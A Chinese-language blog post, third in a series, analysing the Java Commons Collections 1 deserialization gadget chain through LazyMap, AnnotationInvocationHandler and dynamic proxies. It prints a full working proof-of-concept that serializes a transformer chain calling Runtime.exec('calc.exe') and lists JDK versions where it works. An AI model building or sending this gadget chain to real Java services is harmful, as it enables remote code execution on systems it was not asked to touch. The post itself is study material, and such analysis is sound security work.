Java安全之Commons Collections1分析(三)
Java安全之Commons Collections1分析(三)
0x00 前言
继续来分析cc链,用了前面几篇文章来铺垫了一些知识。在上篇文章里,其实是硬看代码,并没有去调试。因为一直找不到JDK的低版本。 全靠脑子去记传参内容尝试理解。后面的其实就简单多了,在上篇文章的基础上再去做一个分析。
0x01 CC链的另一种构造方式
上篇文章说到使用LazyMap
的get
方法也可以去触发命令执行。因为LazyMap
的get
方法在
这里看到this.factory
变量会去调用transform
方法。前面也分析了该类构造方法是一个protected
修饰的。不可被直接new。需要使用decorate
工厂方法去提供。那么在前面我们调用该方法并传入innerMap
和transformerChain
参数。
这里的innerMap是一个Map的对象,transformerChain
是一个ChainedTransformer
修饰过的Transformer[]
数组。
Map tmpmap = LazyMap.decorate(innerMap, transformerChain);
传入过后,LazyMap
的get
方法方法里面的this.factory
为Transformer[]
数组,这时候去调用就会执行transform
方法,而ChainedTransformer
的transform
方法又会去遍历调用Transformer[]
里面的transform
方法,导致使用方式的方式传入的Runtime
调用了exec
执行了calc.exe
弹出一个计算器。
当然在实际中,我们还需要借助其他的类去调用这个get方法。
而在AnnotationInvocationHandler
的invoke
就会去调用get
方法。
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
}
switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
这里特地标出来
Object var6 = this.memberValues.get(var4);
前面说过 构造方法传入的是transformerChain
, this.memberValues=transformerChain
this.memberValues
是一个ChainedTransformer
修饰过的Transformer[]
数组。这时候调用get
,get
方法调用transform
,又回到了刚刚的话题上了。
AnnotationInvocationHandler
的invoke
怎么去调用呢?
在这里会使用到动态代理的方式去调用到该方法。关于动态代理可以参考该篇文章动态代理机制。
0x02 动态代理
关于动态代理,在这里其实还是有必要单独拿出来说一下动态代理这个机制。
动态代理的实现:
Proxy.newProxyInstance(Person.class.getClassLoader(), Class<?>[]interfaces,InvocationHandler h)
第一个参数:People.getClass().getClassLoader(),使用handler对象的
classloader对象来加载我们的代理对象第二个参数:Person.getClass().getInterfaces(),这里为代理类提供的接口 是真实对象实现的接口,这样代理对象就能像真实对象一样调用接口中的所有方法
第三个参数:我们将代理对象关联到上面的InvocationHandler对象上
0x03 POC 分析
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));
oos.writeObject(handler);
}
主要是来看这一段代码
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
这里的handler是反射创建的一个 AnnotationInvocationHandler
类。而AnnotationInvocationHandler
中实现了InvocationHandler
接口,可以直接作为调用处理器传入。
那么在这段poc的执行中执行反序列化的时候,AnnotationInvocationHandler
重写了readObject()
方法,所以调用的是AnnotationInvocationHandler
的readObject()
方法。readObject()
方法会去调用memberValues的entrySet()
方法。这里的memberValues
是构造方法传入进来的参数,我们是使用反射的方式对他进行创建传入的是proxyMap
。
对应的代码:
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
因为proxyMap
是我们的代理对象,所以调用proxyMap
的entrySet()
会触发到AnnotationInvocationHandler
的invoke()
方法进行执行。这也是动态代理的一个特性,代理对象调用任意方法,调用处理器中的invoke()
方法都执行一次。
执行AnnotationInvocationHandler
的invoke()
方法后又会调用get方法,再次回到刚刚的地方了。
LazyMap
的get
方法方法里面的this.factory
为Transformer[]
数组,这时候去调用就会执行transform
方法,而ChainedTransformer
的transform
方法又会去遍历调用Transformer[]
里面的transform
方法,导致使用方式的方式传入的Runtime
调用了exec
执行了calc.exe
弹出一个计算器。
0x04 结尾
在CC1这条链里面其实是有版本限制的,在高版本无法使用。因为AnnotationInvocationHandler
的readObject()
复写点这个地方在高版本中是进行了改动。在其他大佬测试中jdk1.7u21、jdk1.8_101、jdk1.8_171这几个版本是可用的。
Java安全之Commons Collections1分析(三)的更多相关文章
- Java安全之Commons Collections1分析(一)
Java安全之Commons Collections1分析(一) 0x00 前言 在CC链中,其实具体执行过程还是比较复杂的.建议调试前先将一些前置知识的基础给看一遍. Java安全之Commons ...
- Java安全之Commons Collections1分析前置知识
Java安全之Commons Collections1分析前置知识 0x00 前言 Commons Collections的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分.Apache C ...
- Java安全之Commons Collections1分析(二)
Java安全之Commons Collections1分析(二) 0x00 前言 续上篇文,继续调试cc链.在上篇文章调试的cc链其实并不是一个完整的链.只是使用了几个方法的的互相调用弹出一个计算器. ...
- Java安全之Commons Collections5分析
Java安全之Commons Collections5分析 文章首发:Java安全之Commons Collections5分析 0x00 前言 在后面的几条CC链中,如果和前面的链构造都是基本一样的 ...
- Java安全之Commons Collections3分析
Java安全之Commons Collections3分析 文章首发:Java安全之Commons Collections3分析 0x00 前言 在学习完成前面的CC1链和CC2链后,其实再来看CC3 ...
- Java安全之Commons Collections2分析
Java安全之Commons Collections2分析 首发:Java安全之Commons Collections2分析 0x00 前言 前面分析了CC1的利用链,但是发现在CC1的利用链中是有版 ...
- Java安全之Commons Collections7分析
Java安全之Commons Collections7分析 0x00 前言 本文讲解的该链是原生ysoserial中的最后一条CC链,但是实际上并不是的.在后来随着后面各位大佬们挖掘利用链,CC8,9 ...
- Java安全之Commons Collections6分析
Java安全之Commons Collections6分析 0x00 前言 其实在分析的几条链中都大致相同,都是基于前面一些链的变形,在本文的CC6链中,就和前面的有点小小的区别.在CC6链中也和CC ...
- Commons Collections1分析
0x01.基础知识铺垫 接下来这个过程将涉及到几个接口和类 1.LazyMap 我们通过下⾯这⾏代码对innerMap进⾏修饰,传出的outerMap即是修饰后的Map: Map outerMap = ...
随机推荐
- [PyTorch 学习笔记] 5.2 Hook 函数与 CAM 算法
本章代码: https://github.com/zhangxiann/PyTorch_Practice/blob/master/lesson5/hook_fmap_vis.py https://gi ...
- 05_Python的文件操作
1.文件操作概述 # 文件是用于数据存储的单位通常用来长期存储设置,文件中的数据是以字节为单位进行顺序存储的 1.打开文件: f = open("xxx") 或 with ...
- DSRC和USRP的购买调研
(转移自旧博客) 11.29 2019 实验室采购,所以进行了一定程度的调研. 主要包括两个Part,分别是DSRC和USRP的简单总结,购买建议和详细资料. Part.1 DSRC调研总结 1.1 ...
- vue项目前端导出word文件(bug解决)
摘要:之前项目中导出价格表是由后端实现,前端只需要调用接口下载word即可,后来业务改变比较大,word模版需要一直改动,后端改起来相对麻烦,后来直接前端自己定义模版,实现下载word文档. 一.需要 ...
- 案例:ADG环境遇到redo日志member路径有误以及RMAN-6571错误
最近先后帮客户做了两套从虚拟化环境到物理机的数据库迁移,都是Linux系统,Oracle 11.2.0.4的RAC,最终选定ADG方案实现迁移,简单高效. 在之前的文章Oracle 11g ADG 部 ...
- Linux:apache目录结构和配置文件详解
bin目录下的常见命令 conf目录 htdocs目录 logs目录 httpd.conf文件解析. 如果后期自己新创建了新的站点目录,就要重新增加对应的目录权限配置 extra/目录下配置文件解析 ...
- mysqli报错注入常见函数
以下均摘自<代码审计:企业级Web代码安全架构>一书 1.floor() select * from test where id=1 and (select 1 from (select ...
- 装个Mysql怎么就这么难?
2020/5/20 程序员是没有女朋友的~~ 声明:这篇文章是我第一次安装MySQL,主要记录了安装的艰辛过程,内容很凌乱,不适合作为参考. CentOS 6.10安装MySQL一直出问题,换了各种不 ...
- 【LeetCode/LintCode】丨Google面试题:N皇后问题
n皇后问题是将n个皇后放置在n*n的棋盘上,皇后彼此之间不能相互攻击(任意两个皇后不能位于同一行,同一列,同一斜线). 给定一个整数n,返回所有不同的n皇后问题的解决方案. 每个解决方案包含一个明确的 ...
- Nginx反代MogileFS集群
上一篇博文我们主要聊了下分布式文件系统MogileFS的组件以及部署使用,回顾请参考https://www.cnblogs.com/qiuhom-1874/p/13677279.html:今天我们主要 ...